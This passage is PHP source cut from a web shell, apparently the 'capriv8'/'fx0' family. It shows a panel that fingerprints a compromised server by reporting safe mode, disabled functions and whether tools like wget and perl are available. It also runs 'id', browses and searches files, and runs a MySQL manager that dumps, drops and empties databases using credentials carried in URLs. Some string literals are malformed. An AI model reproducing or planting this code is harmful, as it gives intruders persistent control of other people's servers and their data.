if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms")) {
function parse_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort")) {
function parsesort($sort) {
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color")) {
function view_perms_color($o) {
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("mysql_dump")) {
function mysql_dump($set) {
global $sh_ver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file)) {
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0) {
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "
# Dumped by fx0
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------";
$c = count($onlytabs);
foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";
";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------
";
if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else {
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere")) {
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all")) {
function mysql_fetch_all($query,$sock) {
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror")) {
function mysql_smarterror($type,$sock) {
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form")) {
function mysql_query_form() {
global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {
echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct) {
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db")) {
function mysql_create_db($db,$sock="") {
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse")) {
function mysql_query_parse($query) {
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2) {
foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("cafsearch")) {
function cafsearch($d) {
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE) {
if($f != "." && $f != "..") {
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f)) {
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {cafsearch($d.$f);}
}
else {
$search_i_f++;
if ($bool) {
if (!empty($a["text"])) {
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($x == "gofile") {
if (is_dir($f)) { $x = "ls"; $d = $f; }
else { $x = "f"; $d = dirname($f); $f = basename($f); }
}
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown() {
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function capriv8exit() {
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir)) {
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
function showstat($stat) {
if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
else { return "<font color=red><b>OFF</b></font>"; }
}
function testperl() {
if (ex('perl -h')) { return showstat("on"); }
else { return showstat("off"); }
}
function testfetch() {
if(ex('fetch --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testwget() {
if (ex('wget --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testpostgresql() {
if (function_exists('pg_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testcurl() {
if (function_exists('curl_version')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = TRUE;
$hsafemode = "<font color=#3366FF><b>ON (Secure)</b></font>";
}
else {
$safemode = FALSE;
$hsafemode = "<font color=red><b>OFF (Not Secure)</b></font>";
}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {
$openbasedir = TRUE;
$hopenbasedir = "<font color=red>".$v."</font>";
}
else {
$openbasedir = FALSE;
$hopenbasedir = "<font color=green>OFF (not secure)</font>";
}
$quotes = get_magic_quotes_gpc();
if ($quotes == "1" or $quotes == "on")
{
$quot = "<font color='red'>ON</font>";
}
else
{
$quot = "<font color='green'>OFF</font>";
}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) { $actbox = array(); }
$dspact = $x = htmlspecialchars($x);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");}
elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
echo $html_start;
echo "<table id=pagebar><tr><td width=50%><p>".
"Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
"Safe Mode:$hsafemode<br>Magic Quotes:$quot<br>".
"Uname -a : ".php_uname()."<br>";
if (!$win) { echo "id : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "<br></p>".
"<p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
"Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a>";
echo "<br><p>";
if($win){echo "Drives : ".disp_drives($d,$surl)."</p><p>";}
echo "Freespace : ".disp_freespace($d);
echo "</p><p>";
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
" cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
foreach($quicklaunch2 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
foreach($quicklaunch1 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch3) > 0) {
foreach($quicklaunch3 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
$t = ""; $j = 0;
foreach ($e as $r) {
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) { break; }
$j++;
}
echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=red>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
$i++;
}
echo " - ";
if (is_writable($d)) {
$wd = TRUE;
$wdt = "<font color=#00FF00>[OK]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
$wd = FALSE;
$wdt = "<font color=red>[Read-Only]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<br />
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</td></tr></table>
<?php
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
$sql_surl = $surl."x=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
echo "<table>".
"<tr><td width=\"100%\" colspan=2 class=barheader>";
if ($sql_server) {
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo "[ SQL Manager ]<br>";
if (!$sql_sock) {
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "Can't connect! ".$err;}
}
else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
$sqlquicklaunch[] = array("Logout",$surl."x=sql");
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
}
else {
if (!empty($sql_db)) {
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else {
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else {
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else {
?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
<?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
<?php
}
echo "</td><td width=\"100%\">";
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."`
";} $sql_x = "query";}
elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
elseif ($sql_tbl_x == "insert") {
if ($sql_tbl_insert_radio == 1) {
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_x = "query";
$sql_tbl_x = "browse";
}
elseif ($sql_tbl_insert_radio == 2) {
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_x = "query";
$sql_tbl_x = "browse";
}
}
if ($sql_x == "query") {
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_x,$acts)) {
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newtbl">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_newtbl" size="20">
<input type="submit" value="Create">
</form></td>
<td width="30%" height="1"><b>Dump DB:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="dump">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
<?php
if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
if ($sql_x == "newtbl") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
